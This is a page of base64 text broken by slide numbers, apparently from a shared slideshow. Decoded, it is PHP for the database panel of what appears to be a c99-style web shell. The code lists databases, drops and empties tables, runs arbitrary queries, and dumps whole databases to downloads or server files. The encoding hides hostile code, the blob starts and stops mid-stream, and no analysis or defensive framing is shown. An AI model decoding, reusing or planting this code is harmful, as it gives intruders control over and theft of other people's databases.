UEhQX1NFTEYnXTsgPz4iPjxiPkhvbWU8L2I+PC9hPjxociBzaXplPSIxIiBub3NoYWRlPjw/cGhw DQogICAkcmVzdWx0ID0gbXlzcWxfbGlzdF9kYnMoJHNxbF9zb2NrKTsNCiAgIGlmICghJHJlc3Vs dCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgIGVsc2UNCiAgIHsNCiAgICA/Pjxmb3Jt IG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3Fs Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hv IGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBu YW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxf cGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVl PSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5 cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFs Y2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxzZWxlY3QgbmFtZT0ic3FsX2RiIj48P3BocA0KICAgICRj ID0gMDsNCiAgICAkZGJzID0gIiI7DQogICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3co JHJlc3VsdCkpIHskZGJzIC49ICI8b3B0aW9uIHZhbHVlPVwiIi4kcm93WzBdLiJcIiI7IGlmICgk c3FsX2RiID09ICRyb3dbMF0pIHskZGJzIC49ICIgc2VsZWN0ZWQiO30gJGRicyAuPSAiPiIuJHJv d1swXS4iPC9vcHRpb24+IjsgJGMrKzt9DQogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPkRh dGFiYXNlcyAoIi4kYy4iKTwvb3B0aW9uPiI7DQogICAgZWNobyAkZGJzOw0KICAgfQ0KICAgPz48 L3NlbGVjdD48aHIgc2l6ZT0iMSIgbm9zaGFkZT5QbGVhc2UsIHNlbGVjdCBkYXRhYmFzZTxociBz aXplPSIxIiBub3NoYWRlPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyI+PC9mb3JtPjw/ cGhwDQogIH0NCiAgLy9FbmQgbGVmdCBwYW5lbA0KICBlY2hvICI8L3RkPjx0ZCB3aWR0aD1cIjEw MCVcIiBoZWlnaHQ9XCIxXCIgdmFsaWduPVwidG9wXCI+IjsNCiAgLy9TdGFydCBjZW50ZXIgcGFu ZWwNCiAgJGRpcGxheSA9IFRSVUU7DQogIGlmICgkc3FsX2RiKQ0KICB7DQogICBpZiAoIWlzX251 bWVyaWMoJGMpKSB7JGMgPSAwO30NCiAgIGlmICgkYyA9PSAwKSB7JGMgPSAibm8iO30NCiAgIGVj aG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGNlbnRlcj48Yj5UaGVyZSBhcmUgIi4kYy4iIHRh YmxlKHMpIGluIHRoaXMgREIgKCIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iKS48YnI+IjsN CiAgIGlmIChjb3VudCgkZGJxdWlja2xhdW5jaCkgPiAwKSB7Zm9yZWFjaCgkZGJzcWxxdWlja2xh dW5jaCBhcyAkaXRlbSkge2VjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1b MF0uIjwvYT4gXSAiO319DQogICBlY2hvICI8L2I+PC9jZW50ZXI+IjsNCiAgICRhY3RzID0gYXJy YXkoIiIsImR1bXAiKTsNCiAgIGlmICgkc3FsX2FjdCA9PSAidGJsZHJvcCIpIHskc3FsX3F1ZXJ5 ID0gIkRST1AgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJc bmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7Ijsg JHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGVtcHR5Iikg eyRzcWxfcXVlcnkgPSAiIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAi REVMRVRFIEZST00gYCIuJHYuImAgXG4iO30gJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2Vp ZiAoJHNxbF9hY3QgPT0gInRibGR1bXAiKSB7aWYgKGNvdW50KCRib3h0YmwpID4gMCkgeyRkbXB0 YmxzID0gJGJveHRibDt9IGVsc2VpZigkdGhpc3RibCkgeyRkbXB0YmxzID0gYXJyYXkoJHNxbF90 YmwpO30gJHNxbF9hY3QgPSAiZHVtcCI7fQ0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsY2hl Y2siKSB7JHNxbF9xdWVyeSA9ICJDSEVDSyBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikg eyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxf cXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgZWxzZWlmICgkc3FsX2Fj dCA9PSAidGJsb3B0aW1pemUiKSB7JHNxbF9xdWVyeSA9ICJPUFRJTUlaRSBUQUJMRSI7IGZvcmVh Y2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1 ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0K ICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJscmVwYWlyIikgeyRzcWxfcXVlcnkgPSAiUkVQQUlS IFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4i
  15. 15. YCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0 ID0gInF1ZXJ5Ijt9DQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxhbmFseXplIikgeyRzcWxf cXVlcnkgPSAiQU5BTFlaRSBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVl cnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwt MSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAiZGVs ZXRlcm93IikgeyRzcWxfcXVlcnkgPSAiIjsgaWYgKCFlbXB0eSgkYm94cm93X2FsbCkpIHskc3Fs X3F1ZXJ5ID0gIkRFTEVURSAqIEZST00gYCIuJHNxbF90YmwuImA7Ijt9IGVsc2Uge2ZvcmVhY2go JGJveHJvdyBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIkRFTEVURSAqIEZST00gYCIuJHNxbF90Ymwu ImAgV0hFUkUiLiR2LiIgTElNSVQgMTtcbiI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVl cnksMCwtMSk7fSAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgZWxzZWlmICgkc3FsX3RibF9hY3Qg PT0gImluc2VydCIpDQogICB7DQogICAgaWYgKCRzcWxfdGJsX2luc2VydF9yYWRpbyA9PSAxKQ0K ICAgIHsNCiAgICAgJGtleXMgPSAiIjsNCiAgICAgJGFrZXlzID0gYXJyYXlfa2V5cygkc3FsX3Ri bF9pbnNlcnQpOw0KICAgICBmb3JlYWNoICgkYWtleXMgYXMgJHYpIHska2V5cyAuPSAiYCIuYWRk c2xhc2hlcygkdikuImAsICI7fQ0KICAgICBpZiAoIWVtcHR5KCRrZXlzKSkgeyRrZXlzID0gc3Vi c3RyKCRrZXlzLDAsc3RybGVuKCRrZXlzKS0yKTt9DQogICAgICR2YWx1ZXMgPSAiIjsNCiAgICAg JGkgPSAwOw0KICAgICBmb3JlYWNoIChhcnJheV92YWx1ZXMoJHNxbF90YmxfaW5zZXJ0KSBhcyAk dikge2lmICgkZnVuY3QgPSAkc3FsX3RibF9pbnNlcnRfZnVuY3RzWyRha2V5c1skaV1dKSB7JHZh bHVlcyAuPSAkZnVuY3QuIiAoIjt9ICR2YWx1ZXMgLj0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsg aWYgKCRmdW5jdCkgeyR2YWx1ZXMgLj0gIikiO30gJHZhbHVlcyAuPSAiLCAiOyAkaSsrO30NCiAg ICAgaWYgKCFlbXB0eSgkdmFsdWVzKSkgeyR2YWx1ZXMgPSBzdWJzdHIoJHZhbHVlcywwLHN0cmxl bigkdmFsdWVzKS0yKTt9DQogICAgICRzcWxfcXVlcnkgPSAiSU5TRVJUIElOVE8gYCIuJHNxbF90 YmwuImAgKCAiLiRrZXlzLiIgKSBWQUxVRVMgKCAiLiR2YWx1ZXMuIiApOyI7DQogICAgICRzcWxf YWN0ID0gInF1ZXJ5IjsNCiAgICAgJHNxbF90YmxfYWN0ID0gImJyb3dzZSI7DQogICAgfQ0KICAg IGVsc2VpZiAoJHNxbF90YmxfaW5zZXJ0X3JhZGlvID09IDIpDQogICAgew0KICAgICAkc2V0ID0g bXlzcWxfYnVpbGR3aGVyZSgkc3FsX3RibF9pbnNlcnQsIiwgIiwkc3FsX3RibF9pbnNlcnRfZnVu Y3RzKTsNCiAgICAgJHNxbF9xdWVyeSA9ICJVUERBVEUgYCIuJHNxbF90YmwuImAgU0VUICIuJHNl dC4iIFdIRVJFICIuJHNxbF90YmxfaW5zZXJ0X3EuIiBMSU1JVCAxOyI7DQogICAgICRyZXN1bHQg PSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOw0K ICAgICAkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpOw0K ICAgICAkc3FsX2FjdCA9ICJxdWVyeSI7DQogICAgICRzcWxfdGJsX2FjdCA9ICJicm93c2UiOw0K ICAgIH0NCiAgIH0NCiAgIGlmICgkc3FsX2FjdCA9PSAicXVlcnkiKQ0KICAgew0KICAgICRzcWxf cXVlcnkgPSB1cmxkZWNvZGUoJHNxbF9xdWVyeSk7DQogICAgZWNobyAiPGhyIHNpemU9XCIxXCIg bm9zaGFkZT4iOw0KICAgIGlmICgoJHN1Ym1pdCkgYW5kICghJHNxbF9xdWVyeV9yZXN1bHQpIGFu ZCAoJHNxbF9jb25maXJtKSkge2lmICghJHNxbF9xdWVyeV9lcnJvcikgeyRzcWxfcXVlcnlfZXJy b3IgPSAiUXVlcnkgd2FzIGVtcHR5Ijt9IGVjaG8gIjxiPkVycm9yOjwvYj4gPGJyPiIuJHNxbF9x dWVyeV9lcnJvci4iPGJyPiI7fQ0KICAgIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxf Y29uZmlybSkpIHskc3FsX2FjdCA9ICRzcWxfZ290bzt9DQogICAgaWYgKCghJHN1Ym1pdCkgb3Ig KCRzcWxfYWN0KSkge2VjaG8gIjx0YWJsZSBib3JkZXI9XCIwXCIgd2lkdGg9XCIxMDAlXCIgaGVp Z2h0PVwiMVwiPjx0cj48dGQ+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxiPiI7IGlmICgoJHNxbF9x dWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5b3UgcmVhbGx5IHdhbnQgdG86Ijt9IGVs c2Uge2VjaG8gIlNRTC1RdWVyeSA6Ijt9IGVjaG8gIjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1l PVwic3FsX3F1ZXJ5XCIgY29scz1cIjEwMFwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFy cygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIg bmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiJcIj48 aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcG9ydFwiIHZhbHVlPVwiIi5odG1sc3Bl Y2lhbGNoYXJzKCRzcWxfcG9ydCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNx bF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxp bnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNw ZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1c InNxbF9sb2dpblwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJcIj48 aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJhY3RcIiB2YWx1ZT1cInNxbFwiPjxpbnB1dCB0 eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9hY3RcIiB2YWx1ZT1cInF1ZXJ5XCI+PGlucHV0IHR5 cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJz KCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3VibWl0XCIgdmFs dWU9XCIxXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2dvdG9cIiB2YWx1ZT1c IiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2dvdG8pLiJcIj48aW5wdXQgdHlwZT1cInN1Ym1pdFwi IG5hbWU9XCJzcWxfY29uZmlybVwiIHZhbHVlPVwiWWVzXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJz dWJtaXRcIiB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+PC90cj48L3RhYmxlPiI7fQ0KICAgfQ0K ICAgaWYgKGluX2FycmF5KCRzcWxfYWN0LCRhY3RzKSkNCiAgIHsNCiAgICA/Pjx0YWJsZSBib3Jk
  16. 16. ZXI9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0 PSIxIj48Yj5DcmVhdGUgbmV3IHRhYmxlOjwvYj48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0 eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIg bmFtZT0ic3FsX2FjdCIgdmFsdWU9Im5ld3RibCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0i c3FsX2RiIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpOyA/PiI+ PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBo dG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFt ZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bh c3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0i PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBl PSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNo YXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld3RibCIg c2l6ZT0iMjAiPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPjwvZm9y bT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkR1bXAgREI6PC9iPjxmb3JtIG1l dGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48 aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfYWN0IiB2YWx1ZT0iZHVtcCI+PGlucHV0IHR5 cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNo YXJzKCRzcWxfZGIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2 YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0 IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNw ZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJz cWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVy KTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAg ZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIg bmFtZT0iZHVtcF9maWxlIiBzaXplPSIzMCIgdmFsdWU9Ijw/cGhwIGVjaG8gImR1bXBfIi5nZXRl bnYoIlNFUlZFUl9OQU1FIikuIl8iLiRzcWxfZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5z cWwiOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVl PSJEdW1wIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+ PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdo dD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PC90YWJsZT48 P3BocA0KICAgIGlmICghZW1wdHkoJHNxbF9hY3QpKSB7ZWNobyAiPGhyIHNpemU9XCIxXCIgbm9z aGFkZT4iO30NCiAgICBpZiAoJHNxbF9hY3QgPT0gIm5ld3RibCIpDQogICAgew0KICAgICBlY2hv ICI8Yj4iOw0KICAgICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVt cHR5KCRzcWxfbmV3ZGIpKSkge2VjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3 ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7DQogICAgfQ0K ICAgIGVsc2Uge2VjaG8gIkNhbid0IGNyZWF0ZSBEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3Fs X25ld2RiKS4iXCIuPGJyPlJlYXNvbjo8L2I+ICIubXlzcWxfc21hcnRlcnJvcigpO30NCiAgIH0N CiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gImR1bXAiKQ0KICAgew0KICAgIGlmIChlbXB0eSgkc3Vi bWl0KSkNCiAgICB7DQogICAgICRkaXBsYXkgPSBGQUxTRTsNCiAgICAgZWNobyAiPGZvcm0gbWV0 aG9kPVwiUE9TVFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFjdFwiIHZhbHVlPVwi c3FsXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2FjdFwiIHZhbHVlPVwiZHVt cFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi5odG1s c3BlY2lhbGNoYXJzKCRzcWxfZGIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJz cWxfbG9naW5cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iXCI+PGlu cHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiIi5odG1sc3Bl Y2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwi c3FsX3NlcnZlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iXCI+ PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIiIuaHRtbHNw ZWNpYWxjaGFycygkc3FsX3BvcnQpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJz cWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48Yj5TUUwt RHVtcDo8L2I+PGJyPjxicj4iOw0KICAgICBlY2hvICI8Yj5EQjo8L2I+Jm5ic3A7PGlucHV0IHR5 cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJHNxbF9kYiku IlwiPjxicj48YnI+IjsNCiAgICAgJHYgPSBqb2luICgiOyIsJGRtcHRibHMpOw0KICAgICBlY2hv ICI8Yj5Pbmx5IHRhYmxlcyAoZXhwbG9kZSBcIjtcIikmbmJzcDs8Yj48c3VwPjE8L3N1cD48L2I+ OjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZG1wdGJsc1wiIHZhbHVlPVwi Ii5odG1sc3BlY2lhbGNoYXJzKCR2KS4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkdikrNSkuIlwiPjxi cj48YnI+IjsNCiAgICAgaWYgKCRkdW1wX2ZpbGUpIHskdG1wID0gJGR1bXBfZmlsZTt9DQogICAg IGVsc2UgeyR0bXAgPSBodG1sc3BlY2lhbGNoYXJzKCIuL2R1bXBfIi5nZXRlbnYoIlNFUlZFUl9O QU1FIikuIl8iLiRzcWxfZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiKTt9DQogICAg
  17. 17. IGVjaG8gIjxiPkZpbGU6PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxf ZHVtcF9maWxlXCIgdmFsdWU9XCIiLiR0bXAuIlwiIHNpemU9XCIiLihzdHJsZW4oJHRtcCkrc3Ry bGVuKCR0bXApICUgMzApLiJcIj48YnI+PGJyPiI7DQogICAgIGVjaG8gIjxiPkRvd25sb2FkOiA8 L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzcWxfZHVtcF9kb3dubG9h ZFwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGJyPjxicj4iOw0KICAgICBlY2hvICI8Yj5TYXZlIHRv IGZpbGU6IDwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNxbF9kdW1w X3NhdmV0b2ZpbGVcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPiI7DQogICAgIGVjaG8gIjxicj48YnI+ PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3VibWl0XCIgdmFsdWU9XCJEdW1wXCI+PGJy Pjxicj48Yj48c3VwPjE8L3N1cD48L2I+IC0gYWxsLCBpZiBlbXB0eSI7DQogICAgIGVjaG8gIjwv Zm9ybT4iOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAkZGlwbGF5ID0gVFJVRTsNCiAg ICAgJHNldCA9IGFycmF5KCk7DQogICAgICRzZXRbInNvY2siXSA9ICRzcWxfc29jazsNCiAgICAg JHNldFsiZGIiXSA9ICRzcWxfZGI7DQogICAgICRkdW1wX291dCA9ICJkb3dubG9hZCI7DQogICAg ICRzZXRbInByaW50Il0gPSAwOw0KICAgICAkc2V0WyJubDJiciJdID0gMDsNCiAgICAgJHNldFsi Il0gPSAwOw0KICAgICAkc2V0WyJmaWxlIl0gPSAkZHVtcF9maWxlOw0KICAgICAkc2V0WyJhZGRf ZHJvcCJdID0gVFJVRTsNCiAgICAgJHNldFsib25seXRhYnMiXSA9IGFycmF5KCk7DQogICAgIGlm ICghZW1wdHkoJGRtcHRibHMpKSB7JHNldFsib25seXRhYnMiXSA9IGV4cGxvZGUoIjsiLCRkbXB0 YmxzKTt9DQogICAgICRyZXQgPSBteXNxbF9kdW1wKCRzZXQpOw0KICAgICBpZiAoJHNxbF9kdW1w X2Rvd25sb2FkKQ0KICAgICB7DQogICAgICBAb2JfY2xlYW4oKTsNCiAgICAgIGhlYWRlcigiQ29u dGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCiAgICAgIGhlYWRlcigiQ29u dGVudC1sZW5ndGg6ICIuc3RybGVuKCRyZXQpKTsNCiAgICAgIGhlYWRlcigiQ29udGVudC1kaXNw b3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRzcWxfZHVtcF9maWxl KS4iXCI7Iik7DQogICAgICBlY2hvICRyZXQ7DQogICAgICBleGl0Ow0KICAgICB9DQogICAgIGVs c2VpZiAoJHNxbF9kdW1wX3NhdmV0b2ZpbGUpDQogICAgIHsNCiAgICAgICRmcCA9IGZvcGVuKCRz cWxfZHVtcF9maWxlLCJ3Iik7DQogICAgICBpZiAoISRmcCkge2VjaG8gIjxiPkR1bXAgZXJyb3Ih IENhbid0IHdyaXRlIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZHVtcF9maWxlKS4iXCIh Ijt9DQogICAgICBlbHNlDQogICAgICB7DQogICAgICAgZndyaXRlKCRmcCwkcmV0KTsNCiAgICAg ICBmY2xvc2UoJGZwKTsNCiAgICAgICBlY2hvICI8Yj5EdW1wZWQhIER1bXAgaGFzIGJlZW4gd3Jp dGVkIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKHJlYWxwYXRoKCRzcWxfZHVtcF9maWxlKSkuIlwi ICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkc3FsX2R1bXBfZmlsZSkpLiIpPC9iPi4iOw0KICAgICAg fQ0KICAgICB9DQogICAgIGVsc2Uge2VjaG8gIjxiPkR1bXA6IG5vdGhpbmcgdG8gZG8hPC9iPiI7 fQ0KICAgIH0NCiAgIH0NCiAgIGlmICgkZGlwbGF5KQ0KICAgew0KICAgIGlmICghZW1wdHkoJHNx bF90YmwpKQ0KICAgIHsNCiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2FjdCkpIHskc3FsX3RibF9h Y3QgPSAiYnJvd3NlIjt9DQogICAgICRjb3VudCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgQ09VTlQo KikgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsNCiAgICAgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNo X2FycmF5KCRjb3VudCk7DQogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7DQogICAgICR0 Ymxfc3RydWN0X3Jlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIEZJRUxEUyBGUk9NIGAiLiRzcWxf dGJsLiJgOyIpOw0KICAgICAkdGJsX3N0cnVjdF9maWVsZHMgPSBhcnJheSgpOw0KICAgICB3aGls ZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCR0Ymxfc3RydWN0X3Jlc3VsdCkpIHskdGJsX3N0 cnVjdF9maWVsZHNbXSA9ICRyb3c7fQ0KICAgICBpZiAoJHNxbF9scyA+ICRzcWxfbGUpIHskc3Fs X2xlID0gJHNxbF9scyArICRwZXJwYWdlO30NCiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX3BhZ2Up KSB7JHNxbF90YmxfcGFnZSA9IDA7fQ0KICAgICBpZiAoZW1wdHkoJHNxbF90YmxfbHMpKSB7JHNx bF90YmxfbHMgPSAwO30NCiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2xlKSkgeyRzcWxfdGJsX2xl 